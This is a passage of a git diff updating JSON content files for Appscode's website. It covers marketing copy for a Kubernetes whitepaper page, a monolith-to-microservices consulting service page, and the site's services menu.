cloud-native systems, understanding how to extend Kubernetes is key to operational excellence. Get expert insights from Appscode’s engineers and start building resilient, scalable, and future-ready cloud-native platforms.", + "cta_text": "DOWNLOAD THE WHITEPAPER", + "cta_url": "https://appscode.com/contact/" + }, + "faq": [ + { + "question": "What does the \u201cExtending Kubernetes Confidence With Our Whitepaper\u201d cover?", + "answer": "Our whitepaper provides a complete roadmap for extending Kubernetes confidence across your organization — from understanding architectural best practices and security hardening to optimizing workloads for scalability, automation, and resilience in production environments." + }, + { + "question": "Which topics and practices are explained in the Kubernetes whitepaper?", + "answer": "The whitepaper explores Kubernetes orchestration, microservices adoption, CI/CD pipelines, observability, infrastructure as code, and hybrid or multi-cloud deployment models. It’s designed to help teams strengthen operational excellence and build confidence running workloads on Kubernetes." + }, + { + "question": "Is the whitepaper relevant if we already use Kubernetes in production?", + "answer": "Yes — even experienced teams can benefit. The 'Extending Kubernetes Confidence With Our Whitepaper' highlights advanced techniques for optimizing security, resource efficiency, and reliability, helping you identify areas for improvement in existing Kubernetes setups." + }, + { + "question": "How is the whitepaper structured and what can we expect to learn?", + "answer": "It begins with foundational Kubernetes concepts, followed by practical migration strategies, automation workflows, and observability best practices. The goal is to help engineering and DevOps teams make informed decisions and build more confident Kubernetes operations." + }, + { + "question": "Does the whitepaper address multi-cloud or hybrid Kubernetes environments?", + "answer": "Absolutely. It explains how to design and manage workloads across AWS, Azure, GCP, and on-premises clusters. You’ll learn about cross-cloud portability, scaling techniques, and ensuring consistent governance across multiple Kubernetes environments." + }, + { + "question": "How does the whitepaper approach security and reliability?", + "answer": "Security and reliability are key themes. The whitepaper discusses container isolation, role-based access control (RBAC), secrets management, and automated recovery patterns. It helps teams confidently run production-grade Kubernetes clusters with built-in security and resilience." + }, + { + "question": "Who should read the 'Extending Kubernetes Confidence With Our Whitepaper'?", + "answer": "This whitepaper is ideal for DevOps engineers, SREs, architects, and decision-makers looking to improve Kubernetes operations, scale efficiently, and adopt cloud-native best practices with confidence." + }, + { + "question": "How can we access the Kubernetes confidence whitepaper?", + "answer": "You can download it directly from our website. The whitepaper is available for free and provides valuable insights into extending Kubernetes confidence through architecture design, automation, and scalable DevOps practices." + } + ], + "seo": { + "meta_title": "Extend Kubernetes with Custom Controllers and CRDs | Appscode Whitepaper", + "meta_description": "Learn how to extend Kubernetes using CRDs, custom controllers, and operators. This Appscode whitepaper offers expert guidance, real-world examples, and best practices for scalable cloud-native development." + } +} diff --git a/data/services/product-engineering/monolith_to_microservices.json b/data/services/product-engineering/monolith_to_microservices.json index 22f4fd4a31..6e4c9c846f 100644 --- a/data/services/product-engineering/monolith_to_microservices.json +++ b/data/services/product-engineering/monolith_to_microservices.json @@ -1,299 +1,299 @@ -{ - "hero": { - "title": "Transform Your Monolith into Scalable Microservices", - "subtitle": "Empower your business with cloud-native architecture that drives agility, scalability, and innovation — guided by Appscode’s proven monolith to microservices expertise.", - "cta_text": "TALK TO OUR MICROservices EXPERTS", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/monolith-microservices-modernization-hero.png", - "alt": "Monolith to Microservices Transformation Illustration" - } - }, - "trusted_by": { - "title": "Trusted by Global Enterprises and Fast-Growing Startups" - }, - "title_with_small_cards": { - "title": "Why Move from Monolith to Microservices?", - "areas": [ - { - "icon": "fa fa-line-chart", - "title": "Scalable & Flexible Architecture", - "description": "Scale individual services independently, optimizing resource usage and cost efficiency." - }, - { - "icon": "fa fa-shield", - "title": "High Reliability & Fault Tolerance", - "description": "Isolate failures, recover faster, and maintain continuous uptime." - }, - { - "icon": "fa fa-code", - "title": "Technology Flexibility", - "description": "Choose the right languages, frameworks, and tools for each microservice." - }, - { - "icon": "fa fa-lock", - "title": "Enhanced Security & Compliance", - "description": "Implement service-level security and compliance boundaries across all microservices." - }, - { - "icon": "fa fa-rocket", - "title": "Faster Time-to-Market", - "description": "Release updates rapidly and respond effectively to business changes." - }, - { - "icon": "fa fa-users", - "title": "Aligned with DevOps & CI/CD", - "description": "Seamless collaboration between development and operations for continuous delivery." - }, - { - "icon": "fa fa-cubes", - "title": "Optimized for Agile Teams", - "description": "Enable autonomous teams to iterate, deploy, and innovate independently." - } - ] - }, - "service_details": { - "title": "Comprehensive Monolith to Microservices Transformation Services", - "subtitle": "AppsCode provides end-to-end services for microservices adoption—from assessment and migration to integration, monitoring, and optimization.", - "sections": [ - { - "title": "Microservices Consulting & Strategy", - "description": "We assess your current monolith, define a clear microservices roadmap, and ensure strategic alignment with business goals.", - "offerings": [ - "Full evaluation of monolithic applications to identify modularization opportunities.", - "Tailored migration strategy aligned with business objectives and risk appetite.", - "Guidance on selecting the right tools, frameworks, and DevOps practices." - ], - "image": "/assets/images/services/microservices-consulting-strategy.png" - }, - { - "title": "Monolith to Microservices Migration", - "description": "Refactor your monolithic system into independent microservices while maintaining business continuity and operational performance.", - "offerings": [ - "Decompose monoliths using domain-driven design for service autonomy.", - "Implement API-first architecture for seamless service interoperability.", - "Deploy microservices using Kubernetes and container orchestration for cloud-native scalability." - ], - "image": "/assets/images/services/microservices-integration-api-management.png" - }, - { - "title": "Microservices Support, Monitoring & Optimization", - "description": "Maintain and optimize microservices post-deployment to ensure resilience, efficiency, and performance.", - "offerings": [ - "Implement proactive monitoring with Prometheus, Grafana, and distributed tracing.", - "Optimize system performance, reduce latency, and control operational costs.", - "Provide 24/7 expert support for complex microservices environments." - ], - "image": "/assets/images/services/microservices-support-monitoring-optimization.png" - } - ] - }, - "cards": { - "title": "Why Partner with Appscode for Microservices Transformation?", - "subtitle": "Leverage our deep expertise in Kubernetes, DevOps, and cloud-native architecture for successful monolith to microservices migration.", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Cloud-Native Engineers", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" - }, - { - "icon": "fa fa-briefcase", - "title": "Proven Experience", - "description": "Successfully modernized 100+ monolith applications across enterprises and startups." - }, - { - "icon": "fa fa-trophy", - "title": "Kubernetes & Microservices Pioneers", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-bullhorn", - "title": "Global Cloud-Native Leaders", - "description": "Driving DevOps transformation and Kubernetes adoption across industries." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-globe", - "title": "Global Delivery Excellence", - "description": "Trusted by clients across North America, Europe, Asia-Pacific, and the Middle East." - } - ] - }, - "industries": { - "title": "Industry Expertise for Microservices Success", - "subtitle": "Appscode modernizes monoliths for diverse industries, enabling digital resilience and rapid innovation.", - "additional_text": "From fintech to healthcare, we deliver secure, scalable, and industry-specific microservices solutions.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Financial Services", - "description": "Regulatory-compliant, highly available systems that scale securely with demand." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Accelerate product innovation with cloud-native microservices and CI/CD pipelines." - }, - { - "icon": "fa fa-car", - "title": "Automotive & Manufacturing", - "description": "Enable AI-powered, data-driven operations with scalable microservices." - }, - { - "icon": "fa fa-plug", - "title": "Energy & Utilities", - "description": "Improve operational visibility and efficiency with cloud-native microservices." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare & Life Sciences", - "description": "Secure, compliant data sharing and AI-driven healthcare applications." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless digital experiences with agile, microservices-based architectures." - } - ] - }, - "tech_stack": { - "title": "Our Cloud-Native & Microservices Tech Expertise", - "subtitle": "Appscode engineers leverage Kubernetes, DevOps tools, and open-source frameworks to deliver modern, scalable microservices architectures.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Start Your Monolith to Microservices Journey with Appscode", - "subtitle": "Modernize your monolithic applications with a strategic, secure, and future-ready microservices approach.", - "buttons": [ - { - "text": "Contact Us", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "faq": [ - { - "question": "What does your Monolith to Microservices service include?", - "answer": "Our Monolith to Microservices service covers the complete transformation journey — from assessing your existing monolithic application, defining migration strategy, refactoring architecture, and implementing CI/CD pipelines, to deploying containerized microservices on Kubernetes. We focus on building scalable, resilient, and maintainable systems." - }, - { - "question": "Which technologies and practices do you use for Monolith to Microservices migration?", - "answer": "We leverage Kubernetes, Docker, Envoy Gateway, service meshes, and microservices frameworks to break down monolithic systems. Our practices include continuous delivery (CI/CD), Infrastructure as Code (IaC), observability, and DevOps automation to ensure smooth, low-risk migration." - }, - { - "question": "Can you modernize our existing monolithic application without a full rebuild?", - "answer": "Yes. We can progressively decompose your existing monolithic system into microservices without requiring a complete rewrite. Our engineers identify independent modules, containerize them, and migrate gradually while maintaining system stability and minimizing downtime." - }, - { - "question": "What is the typical timeline and engagement model for Monolith to Microservices migration?", - "answer": "Every migration is unique, but we usually start with a 1–2 week discovery phase to evaluate your architecture and define a migration roadmap. Then we execute in agile sprints of 4–8 weeks. Engagement options include fixed-scope projects, time-and-materials, or dedicated engineering partnerships." - }, - { - "question": "Do you support hybrid or multi-cloud environments during microservices migration?", - "answer": "Absolutely. We design microservices architectures that run seamlessly on AWS, Azure, Google Cloud, or on-premises Kubernetes clusters. Our Monolith to Microservices approach ensures portability, scalability, and operational consistency across different environments." - }, - { - "question": "How do you ensure quality, security, and reliability during the migration process?", - "answer": "We apply automated testing, code reviews, CI/CD pipelines, and continuous observability to maintain quality throughout the migration. Security is enforced through container isolation, secrets management, and RBAC. Reliability is achieved via gradual rollouts, monitoring, and automated recovery patterns." - }, - { - "question": "What happens after migrating from Monolith to Microservices?", - "answer": "Post-migration, we help you optimize performance, improve DevOps automation, and monitor service health. We also assist with scaling, cost optimization, and training your team to manage and evolve the new microservices architecture effectively." - }, - { - "question": "How much does Monolith to Microservices migration cost?", - "answer": "The cost depends on factors such as the size and complexity of your monolithic system, the number of services to extract, cloud platform preferences, and ongoing support needs. We provide flexible pricing models — from fixed-scope projects to long-term retainers — after the discovery phase." - } - ], - "seo": { - "meta_title": "Monolith to Microservices Transformation Services | Appscode", - "meta_description": "Appscode helps organizations modernize monolithic applications into scalable, resilient microservices using Kubernetes, DevOps, and cloud-native best practices." - } -} +{ + "hero": { + "title": "Transform Your Monolith into Scalable Microservices", + "subtitle": "Empower your business with cloud-native architecture that drives agility, scalability, and innovation — guided by Appscode’s proven monolith to microservices expertise.", + "cta_text": "TALK TO OUR MICROservices EXPERTS", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/monolith-microservices-modernization-hero.png", + "alt": "Monolith to Microservices Transformation Illustration" + } + }, + "trusted_by": { + "title": "Trusted by Global Enterprises and Fast-Growing Startups" + }, + "title_with_small_cards": { + "title": "Why Move from Monolith to Microservices?", + "areas": [ + { + "icon": "fa fa-line-chart", + "title": "Scalable & Flexible Architecture", + "description": "Scale individual services independently, optimizing resource usage and cost efficiency." + }, + { + "icon": "fa fa-shield", + "title": "High Reliability & Fault Tolerance", + "description": "Isolate failures, recover faster, and maintain continuous uptime." + }, + { + "icon": "fa fa-code", + "title": "Technology Flexibility", + "description": "Choose the right languages, frameworks, and tools for each microservice." + }, + { + "icon": "fa fa-lock", + "title": "Enhanced Security & Compliance", + "description": "Implement service-level security and compliance boundaries across all microservices." + }, + { + "icon": "fa fa-rocket", + "title": "Faster Time-to-Market", + "description": "Release updates rapidly and respond effectively to business changes." + }, + { + "icon": "fa fa-users", + "title": "Aligned with DevOps & CI/CD", + "description": "Seamless collaboration between development and operations for continuous delivery." + }, + { + "icon": "fa fa-cubes", + "title": "Optimized for Agile Teams", + "description": "Enable autonomous teams to iterate, deploy, and innovate independently." + } + ] + }, + "service_details": { + "title": "Comprehensive Monolith to Microservices Transformation Services", + "subtitle": "AppsCode provides end-to-end services for microservices adoption—from assessment and migration to integration, monitoring, and optimization.", + "sections": [ + { + "title": "Microservices Consulting & Strategy", + "description": "We assess your current monolith, define a clear microservices roadmap, and ensure strategic alignment with business goals.", + "offerings": [ + "Full evaluation of monolithic applications to identify modularization opportunities.", + "Tailored migration strategy aligned with business objectives and risk appetite.", + "Guidance on selecting the right tools, frameworks, and DevOps practices." + ], + "image": "/assets/images/services/microservices-consulting-strategy.png" + }, + { + "title": "Monolith to Microservices Migration", + "description": "Refactor your monolithic system into independent microservices while maintaining business continuity and operational performance.", + "offerings": [ + "Decompose monoliths using domain-driven design for service autonomy.", + "Implement API-first architecture for seamless service interoperability.", + "Deploy microservices using Kubernetes and container orchestration for cloud-native scalability." + ], + "image": "/assets/images/services/microservices-integration-api-management.png" + }, + { + "title": "Microservices Support, Monitoring & Optimization", + "description": "Maintain and optimize microservices post-deployment to ensure resilience, efficiency, and performance.", + "offerings": [ + "Implement proactive monitoring with Prometheus, Grafana, and distributed tracing.", + "Optimize system performance, reduce latency, and control operational costs.", + "Provide 24/7 expert support for complex microservices environments." + ], + "image": "/assets/images/services/microservices-support-monitoring-optimization.png" + } + ] + }, + "cards": { + "title": "Why Partner with Appscode for Microservices Transformation?", + "subtitle": "Leverage our deep expertise in Kubernetes, DevOps, and cloud-native architecture for successful monolith to microservices migration.", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Cloud-Native Engineers", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" + }, + { + "icon": "fa fa-briefcase", + "title": "Proven Experience", + "description": "Successfully modernized 100+ monolith applications across enterprises and startups." + }, + { + "icon": "fa fa-trophy", + "title": "Kubernetes & Microservices Pioneers", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-bullhorn", + "title": "Global Cloud-Native Leaders", + "description": "Driving DevOps transformation and Kubernetes adoption across industries." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-globe", + "title": "Global Delivery Excellence", + "description": "Trusted by clients across North America, Europe, Asia-Pacific, and the Middle East." + } + ] + }, + "industries": { + "title": "Industry Expertise for Microservices Success", + "subtitle": "Appscode modernizes monoliths for diverse industries, enabling digital resilience and rapid innovation.", + "additional_text": "From fintech to healthcare, we deliver secure, scalable, and industry-specific microservices solutions.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Financial Services", + "description": "Regulatory-compliant, highly available systems that scale securely with demand." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Accelerate product innovation with cloud-native microservices and CI/CD pipelines." + }, + { + "icon": "fa fa-car", + "title": "Automotive & Manufacturing", + "description": "Enable AI-powered, data-driven operations with scalable microservices." + }, + { + "icon": "fa fa-plug", + "title": "Energy & Utilities", + "description": "Improve operational visibility and efficiency with cloud-native microservices." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare & Life Sciences", + "description": "Secure, compliant data sharing and AI-driven healthcare applications." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless digital experiences with agile, microservices-based architectures." + } + ] + }, + "tech_stack": { + "title": "Our Cloud-Native & Microservices Tech Expertise", + "subtitle": "Appscode engineers leverage Kubernetes, DevOps tools, and open-source frameworks to deliver modern, scalable microservices architectures.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Start Your Monolith to Microservices Journey with Appscode", + "subtitle": "Modernize your monolithic applications with a strategic, secure, and future-ready microservices approach.", + "buttons": [ + { + "text": "Contact Us", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "faq": [ + { + "question": "What does your Monolith to Microservices service include?", + "answer": "Our Monolith to Microservices service covers the complete transformation journey — from assessing your existing monolithic application, defining migration strategy, refactoring architecture, and implementing CI/CD pipelines, to deploying containerized microservices on Kubernetes. We focus on building scalable, resilient, and maintainable systems." + }, + { + "question": "Which technologies and practices do you use for Monolith to Microservices migration?", + "answer": "We leverage Kubernetes, Docker, Envoy Gateway, service meshes, and microservices frameworks to break down monolithic systems. Our practices include continuous delivery (CI/CD), Infrastructure as Code (IaC), observability, and DevOps automation to ensure smooth, low-risk migration." + }, + { + "question": "Can you modernize our existing monolithic application without a full rebuild?", + "answer": "Yes. We can progressively decompose your existing monolithic system into microservices without requiring a complete rewrite. Our engineers identify independent modules, containerize them, and migrate gradually while maintaining system stability and minimizing downtime." + }, + { + "question": "What is the typical timeline and engagement model for Monolith to Microservices migration?", + "answer": "Every migration is unique, but we usually start with a 1–2 week discovery phase to evaluate your architecture and define a migration roadmap. Then we execute in agile sprints of 4–8 weeks. Engagement options include fixed-scope projects, time-and-materials, or dedicated engineering partnerships." + }, + { + "question": "Do you support hybrid or multi-cloud environments during microservices migration?", + "answer": "Absolutely. We design microservices architectures that run seamlessly on AWS, Azure, Google Cloud, or on-premises Kubernetes clusters. Our Monolith to Microservices approach ensures portability, scalability, and operational consistency across different environments." + }, + { + "question": "How do you ensure quality, security, and reliability during the migration process?", + "answer": "We apply automated testing, code reviews, CI/CD pipelines, and continuous observability to maintain quality throughout the migration. Security is enforced through container isolation, secrets management, and RBAC. Reliability is achieved via gradual rollouts, monitoring, and automated recovery patterns." + }, + { + "question": "What happens after migrating from Monolith to Microservices?", + "answer": "Post-migration, we help you optimize performance, improve DevOps automation, and monitor service health. We also assist with scaling, cost optimization, and training your team to manage and evolve the new microservices architecture effectively." + }, + { + "question": "How much does Monolith to Microservices migration cost?", + "answer": "The cost depends on factors such as the size and complexity of your monolithic system, the number of services to extract, cloud platform preferences, and ongoing support needs. We provide flexible pricing models — from fixed-scope projects to long-term retainers — after the discovery phase." + } + ], + "seo": { + "meta_title": "Monolith to Microservices Transformation Services | Appscode", + "meta_description": "Appscode helps organizations modernize monolithic applications into scalable, resilient microservices using Kubernetes, DevOps, and cloud-native best practices." + } +} diff --git a/data/services/services_menu.json b/data/services/services_menu.json index 1d9b93457b..38d1320852 100644 --- a/data/services/services_menu.json +++ b/data/services/services_menu.json @@ -1,245 +1,245 @@ -{ - "servicesMenu": [ - { - "title": "Application Modernization", - "description": "Accelerating your application modernization & microservices journey", - "icon": "/assets/images/services/icons8/ios-50-lunacy.png", - "offerings": [ - { - "id": "monolith-to-microservices", - "title": "Monolith to Microservices", - "description": "Migrate your legacy applications", - "icon": null - }, - { - "id": "kubernetes-consulting-services", - "title": "Kubernetes Consulting Services", - "description": "The Kubernetes experts", - "icon": null - }, - { - "id": "openshift-consulting-services", - "title": "Red Hat OpenShift Consulting", - "description": "Certified Red Hat partner", - "icon": null - }, - { - "id": "rancher-consulting-services", - "title": "Rancher by SUSE Consulting", - "description": "Certified SUSE partner", - "icon": null - }, - { - "id": "eks-consulting-services", - "title": "AWS EKS Consulting", - "description": "AWS Marketplace partner", - "icon": null - }, - { - "id": "aks-consulting-services", - "title": "Azure AKS Consulting", - "description": "Azure Marketplace partner", - "icon": null - }, - { - "id": "gke-consulting-services", - "title": "Google GKE Consulting", - "description": "Google Cloud Marketplace partner", - "icon": null - }, - { - "id": "gitops-consulting-services", - "title": "GitOps Consulting", - "description": "Streamlining pipeline & deployments", - "icon": null - }, - { - "id": "ci-cd-consulting-services", - "title": "CI/CD & Dev Experience", - "description": "Bringing automation at every step", - "icon": null - }, - { - "id": "devops-toolchain-consulting-services", - "title": "DevOps Toolchain", - "description": "Tailored DevOps toolset for you!", - "icon": null - }, - { - "id": "argo-cd-consulting-services", - "title": "Argo CD Consulting", - "description": "Implement & support ‑ we got you!", - "icon": null - } - ] - }, - { - "title": "Managed Cloud", - "description": "DevOps experts to onboard, manage, and optimize your cloud accounts and applications", - "icon": "/assets/images/services/icons8/ios-50-cloud.png", - "offerings": [ - { - "id": "managed-aws-services", - "title": "Managed AWS", - "description": "Onboarding, management & 24/7 support", - "icon": null - }, - { - "id": "managed-azure-services", - "title": "Managed Azure", - "description": "Onboarding, management & 24/7 support", - "icon": null - }, - { - "id": "managed-gcp-services", - "title": "Managed GCP", - "description": "Onboarding, management & 24/7 support", - "icon": null - } - ] - }, - { - "title": "Managed Databases", - "description": "Production-grade databases on Kubernetes — provisioned, monitored, and backed up by experts", - "icon": "/assets/images/services/icons8/ios-50-database.png", - "offerings": [ - { - "id": "managed-databases-services", - "title": "Managed Databases", - "description": "25+ database engines, fully managed on Kubernetes", - "icon": null - } - ] - }, - { - "title": "Platform Engineering", - "description": "Designing & Building solid platforms for your teams", - "icon": "/assets/images/services/icons8/ios-50-laptop-settings.png", - "offerings": [ - { - "id": "platform-engineering-services", - "title": "Platform Engineering Services", - "description": "From design to deployment ‑ with you!", - "icon": null - }, - { - "id": "progressive-delivery-consulting-services", - "title": "Progressive Delivery", - "description": "Roll out updates strategically", - "icon": null - }, - { - "id": "ci-cd-consulting-services", - "title": "CI/CD & Dev Experience", - "description": "Bringing automation at every step", - "icon": null - }, - { - "id": "bare-metal-provisioning-and-infrastructure-consulting", - "title": "Bare Metal Provisioning Consulting", - "description": "Automated provisioning for on‑prem setup", - "icon": null - } - ] - }, - { - "title": "Product Engineering", - "description": "Building faster products - MVP, launch & scale", - "icon": "/assets/images/services/icons8/external-engineering-manufacturing.png", - "offerings": [ - { - "id": "cloud-native-product-development-services", - "title": "Cloud Native Product Development", - "description": "On‑Demand product engineers", - "icon": null - }, - { - "id": "monolith-to-microservices", - "title": "Monolith to Microservices", - "description": "Migrate your legacy applications", - "icon": null - }, - { - "id": "/extending-kubernetes-confidence-with-whitepaper", - "title": "Extending Kubernetes? Custom Resources & Controllers", - "description": "Learn how custom resources & controllers can enhance your Kubernetes environment — Download the 16 page whitepaper", - "icon": null - } - ] - }, - { - "title": "Site Reliability Engineering", - "description": "SRE Experts", - "icon": "/assets/images/services/icons8/ios-50-web-design.png", - "offerings": [ - { - "id": "site-reliability-engineering-consulting-services", - "title": "SRE Consulting", - "description": "The Site Reliability Engineering Experts", - "icon": null - }, - { - "id": "service-mesh-consulting-support", - "title": "Service Mesh Consulting", - "description": "Onboarding Service Mesh? we got you!", - "icon": null - }, - { - "id": "accelerate-cloud-native-networking-services", - "title": "Cloud Native Networking", - "description": "Your cloud networking specialists", - "icon": null - }, - { - "id": "istio-consulting-services", - "title": "Istio Consulting", - "description": "Recognized by Istio for support", - "icon": null - }, - { - "id": "terraform-consulting-services", - "title": "Terraform Consulting", - "description": "Keep infra scalable & efficient", - "icon": null - }, - { - "id": "kubernetes-backup-and-disaster-recovery-services", - "title": "Backup & Disaster Recovery", - "description": "Cloud Native backup & DR experts", - "icon": null - } - ] - }, - { - "title": "Observability & DevSecOps", - "description": "Build a solid observability stack that is secure too!", - "icon": "/assets/images/services/icons8/dotty-80-system-task.png", - "offerings": [ - { - "id": "devsecops-consulting-services-and-implementation", - "title": "DevSecOps Consulting", - "description": "Securing your applications", - "icon": null - }, - { - "id": "observability-consulting-services-and-support", - "title": "Observability Adoption", - "description": "Monitoring, logging, tracing experts", - "icon": null - }, - { - "id": "grafana-consulting-services-and-support", - "title": "Grafana Consulting", - "description": "Adoption to support ‑ we do it all", - "icon": null - }, - { - "id": "prometheus-consulting-services", - "title": "Prometheus Consulting", - "description": "Monitoring & alerting ‑ sorted!", - "icon": null - } - ] - } - ] -} +{ + "servicesMenu": [ + { + "title": "Application Modernization", + "description": "Accelerating your application modernization & microservices journey", + "icon": "/assets/images/services/icons8/ios-50-lunacy.png", + "offerings": [ + { + "id": "monolith-to-microservices", + "title": "Monolith to Microservices", + "description": "Migrate your legacy applications", + "icon": null + }, + { + "id": "kubernetes-consulting-services", + "title": "Kubernetes Consulting Services", + "description": "The Kubernetes experts", + "icon": null + }, + { + "id": "openshift-consulting-services", + "title": "Red Hat OpenShift Consulting", + "description": "Certified Red Hat partner", + "icon": null + }, + { + "id": "rancher-consulting-services", + "title": "Rancher by SUSE Consulting", + "description": "Certified SUSE partner", + "icon": null + }, + { + "id": "eks-consulting-services", + "title": "AWS EKS Consulting", + "description": "AWS Marketplace partner", + "icon": null + }, + { + "id": "aks-consulting-services", + "title": "Azure AKS Consulting", + "description": "Azure Marketplace partner", + "icon": null + }, + { + "id": "gke-consulting-services", + "title": "Google GKE Consulting", + "description": "Google Cloud Marketplace partner", + "icon": null + }, + { + "id": "gitops-consulting-services", + "title": "GitOps Consulting", + "description": "Streamlining pipeline & deployments", + "icon": null + }, + { + "id": "ci-cd-consulting-services", + "title": "CI/CD & Dev Experience", + "description": "Bringing automation at every step", + "icon": null + }, + { + "id": "devops-toolchain-consulting-services", + "title": "DevOps Toolchain", + "description": "Tailored DevOps toolset for you!", + "icon": null + }, + { + "id": "argo-cd-consulting-services", + "title": "Argo CD Consulting", + "description": "Implement & support ‑ we got you!", + "icon": null + } + ] + }, + { + "title": "Managed Cloud", + "description": "DevOps experts to onboard, manage, and optimize your cloud accounts and applications", + "icon": "/assets/images/services/icons8/ios-50-cloud.png", + "offerings": [ + { + "id": "managed-aws-services", + "title": "Managed AWS", + "description": "Onboarding, management & 24/7 support", + "icon": null + }, + { + "id": "managed-azure-services", + "title": "Managed Azure", + "description": "Onboarding, management & 24/7 support", + "icon": null + }, + { + "id": "managed-gcp-services", + "title": "Managed GCP", + "description": "Onboarding, management & 24/7 support", + "icon": null + } + ] + }, + { + "title": "Managed Databases", + "description": "Production-grade databases on Kubernetes — provisioned, monitored, and backed up by experts", + "icon": "/assets/images/services/icons8/ios-50-database.png", + "offerings": [ + { + "id": "managed-databases-services", + "title": "Managed Databases", + "description": "25+ database engines, fully managed on Kubernetes", + "icon": null + } + ] + }, + { + "title": "Platform Engineering", + "description": "Designing & Building solid platforms for your teams", + "icon": "/assets/images/services/icons8/ios-50-laptop-settings.png", + "offerings": [ + { + "id": "platform-engineering-services", + "title": "Platform Engineering Services", + "description": "From design to deployment ‑ with you!", + "icon": null + }, + { + "id": "progressive-delivery-consulting-services", + "title": "Progressive Delivery", + "description": "Roll out updates strategically", + "icon": null + }, + { + "id": "ci-cd-consulting-services", + "title": "CI/CD & Dev Experience", + "description": "Bringing automation at every step", + "icon": null + }, + { + "id": "bare-metal-provisioning-and-infrastructure-consulting", + "title": "Bare Metal Provisioning Consulting", + "description": "Automated provisioning for on‑prem setup", + "icon": null + } + ] + 